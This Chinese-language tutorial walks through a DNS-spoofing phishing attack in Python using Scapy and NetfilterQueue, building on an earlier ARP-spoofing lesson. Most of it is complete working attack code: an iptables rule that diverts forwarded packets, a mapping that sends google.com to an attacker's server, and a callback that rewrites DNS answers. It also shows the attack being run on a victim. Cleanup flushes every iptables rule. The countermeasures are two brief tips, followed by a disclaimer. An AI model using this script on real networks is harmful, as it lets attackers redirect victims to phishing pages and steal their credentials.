用python演示DNS欺骗网络钓鱼及应对办法

在上一教程中,我们讨论了ARP欺骗以及如何使用Scapy库成功进行这种攻击。但是,我们没有提到成为中间人的好处。在本教程中,我们将看到其中一种有趣的方法,即DNS欺骗。

用python演示DNS欺骗网络钓鱼及应对办法


▊ 什么是DNS

dns服务就是将人类可以理解的域名(例如bfw.wiki)解析成计算机网络l可以理解的ip地址。

如果用户想要连接到google.com,用户机器将自动向DNS服务器发送请求,说我想要google.com的IP地址,如图所示:

用python演示DNS欺骗网络钓鱼及应对办法
DNS请求服务器将使用该域名的相应IP地址进行响应:
用python演示DNS欺骗网络钓鱼及应对办法
然后,用户将正常连接到服务器:

用python演示DNS欺骗网络钓鱼及应对办法
DNS请求后连接到服务器

好的,这是正常的解析流程,但是现在,如果用户和Internet之间多了第三者,那么这个第三者就叫中间人DNS Spoofer!

▊ 什么是DNS欺骗

DNS欺骗,也称为 DNS缓存中毒,是一种计算机安全 黑客手段 ,其中,损坏的 域名系统 数据被引入 DNS解析器的 缓存中,从而导致 名称服务器 返回错误的结果记录,例如 IP地址。这导致 流量被转移到攻击者的计算机(或任何其他计算机)。

但是我们将要使用的方法有些不同,让我们来看一下它的作用:

用python演示DNS欺骗网络钓鱼及应对办法
注意:为了成为中间人,您需要执行ARP欺骗脚本,因此受害者将首先向您的计算机发送DNS请求,而不是直接将它们路由到Internet。

现在,由于攻击者介于两者之间,因此他将收到指示“ google.com的IP地址是什么”的DNS请求,然后将其转发到DNS服务器,如下图所示:

用python演示DNS欺骗网络钓鱼及应对办法
攻击者转发DNS请求DNS服务器收到合法请求,它将以DNS响应进行响应:

用python演示DNS欺骗网络钓鱼及应对办法
攻击者现在收到的DNS响应具有google.com的真实IP地址,他现在要做的就是将该IP地址更改为恶意的伪IP(在这种情况下,他自己的Web服务器192.168.1.100或192.168.1.106 ):

用python演示DNS欺骗网络钓鱼及应对办法
这样,当用户在浏览器中输入google.com时,他会在没有注意到的情况下看到攻击者的虚假页面!也可以成为钓鱼页面。

让我们看看如何在Python中使用Scapy实施这种攻击。

▊ 实战演示

首先,我要提到的是,我们将使用NetfilterQueue库,该库提供对Linux中iptables规则匹配的数据包的访问(因此,这仅适用于Linux发行版)。

您可能会猜到,我们需要插入一个iptables规则,打开linux终端并输入:

iptables -I FORWARD -j NFQUEUE --queue-num 0

该规则表明,每当转发数据包时,都将其重定向(-j表示跳转)到netfilter队列号0。这将使我们能够将所有转发的数据包重定向到Python

现在,让我们安装所需的依赖项:

pip3 install netfilterqueue scapy


让我们导入模块( 您需要先安装Scapy,前往本教程 或 官方scapy文档进行安装):

from scapy.all import *
from netfilterqueue import NetfilterQueue
import os


让我们定义我们的DNS字典:

# DNS mapping records, feel free to add/modify this dictionary
# for example, google.com will be redirected to 192.168.1.100
dns_hosts = {
b"www.google.com.": "192.168.1.100",
b"google.com.": "192.168.1.100",
b"facebook.com.": "172.217.19.142"
}


netfilter队列对象将需要一个回调,只要转发数据包,就应调用该回调,让我们实现它:

def process_packet(packet):
    """
    Whenever a new packet is redirected to the netfilter queue,
    this callback is called.
    """
    # convert netfilter queue packet to scapy packet
    scapy_packet = IP(packet.get_payload())
    if scapy_packet.haslayer(DNSRR):
        # if the packet is a DNS Resource Record (DNS reply)
        # modify the packet
        print("[Before]:", scapy_packet.summary())
        try:
            scapy_packet = modify_packet(scapy_packet)
        except IndexError:
            # not UDP packet, this can be IPerror/UDPerror packets
            pass
        print("[After ]:", scapy_packet.summary())
        # set back as netfilter queue packet
        packet.set_payload(bytes(scapy_packet))
    # accept the packet
    packet.accept()


我们在这里所做的就是将netfilter队列数据包转换为一个scapy数据包,然后检查它是否是DNS响应,如果是这种情况,我们需要使用Modify_packet(packet)函数对其进行修改,让我们对其进行定义:
def modify_packet(packet):
    """
    Modifies the DNS Resource Record `packet` ( the answer part)
    to map our globally defined `dns_hosts` dictionary.
    For instance, whenever we see a google.com answer, this function replaces 
    the real IP address (172.217.19.142) with fake IP address (192.168.1.100)
    """
    # get the DNS question name, the domain name
    qname = packet[DNSQR].qname
    if qname not in dns_hosts:
        # if the website isn't in our record
        # we don't wanna modify that
        print("no modification:", qname)
        return packet
    # craft new answer, overriding the original
    # setting the rdata for the IP we want to redirect (spoofed)
    # for instance, google.com will be mapped to "192.168.1.100"
    packet[DNS].an = DNSRR(rrname=qname, rdata=dns_hosts[qname])
    # set the answer count to 1
    packet[DNS].ancount = 1
    # delete checksums and length of packet, because we have modified the packet
    # new calculations are required ( scapy will do automatically )
    del packet[IP].len
    del packet[IP].chksum
    del packet[UDP].len
    del packet[UDP].chksum
    # return the modified packet
    return packet


现在,让我们在插入iptables规则后实例化netfilter队列对象:

QUEUE_NUM = 0
# insert the iptables FORWARD rule
os.system("iptables -I FORWARD -j NFQUEUE --queue-num {}".format(QUEUE_NUM))
# instantiate the netfilter queue
queue = NetfilterQueue()


我们需要将netfilter队列号与我们刚刚编写的回调绑定并启动它:

try:
    # bind the queue number to our callback `process_packet`
    # and start it
    queue.bind(QUEUE_NUM, process_packet)
    queue.run()
except KeyboardInterrupt:
    # if want to exit, make sure we
    # remove that rule we just inserted, going back to normal.
    os.system("iptables --flush")


我将其包装在try-except中,当点击CTRL + C,我们可以删除刚插入的iptables规则。

就是这样,现在在执行它之前,请记住我们需要成为中间人,因此让我们执行在上一教程中制作的arp欺骗脚本:

用python演示DNS欺骗网络钓鱼及应对办法
让我们执行刚刚创建的dns spoofer:

root@bfw:~# python3 dns_spoof.py
现在,该脚本正在侦听DNS响应,让我们转到受害计算机并ping google.com:

用python演示DNS欺骗网络钓鱼及应对办法
我们发现 google.com的IP地址为解析为192.168.1.100!

让我们再尝试浏览google:

用python演示DNS欺骗网络钓鱼及应对办法
我已经在192.168.1.100上设置了一个简单的Web服务器(本地服务器),该服务器返回了此页面,现在google.com已映射到192.168.1.100!棒极了。

我们回到攻击者的机器,我们看到dns应答中将google的真实ip转成了192.168.1.100

用python演示DNS欺骗网络钓鱼及应对办法
恭喜你!您已经成功完成了编写DNS欺骗攻击脚本的工作,这不是很简单。如果要停止攻击,只需在arp spoofer和dns spoofer上单击CTRL + C,就可以完成。

▊ 应对办法

dns欺骗导致的网络钓鱼根源还是中间人攻击

1、要防止arp欺骗的出现,电脑或手机上网要采用静态ip与mac地址绑定规则联网。

2、不要随便连接陌生人或陌生地方的wifi网络,可能有dns欺骗或钓鱼网络。

免责声明:本文旨在揭秘dns欺骗和网络钓鱼的过程和原理,禁止用于其他非法用途。

{{collectdata}}

网友评论0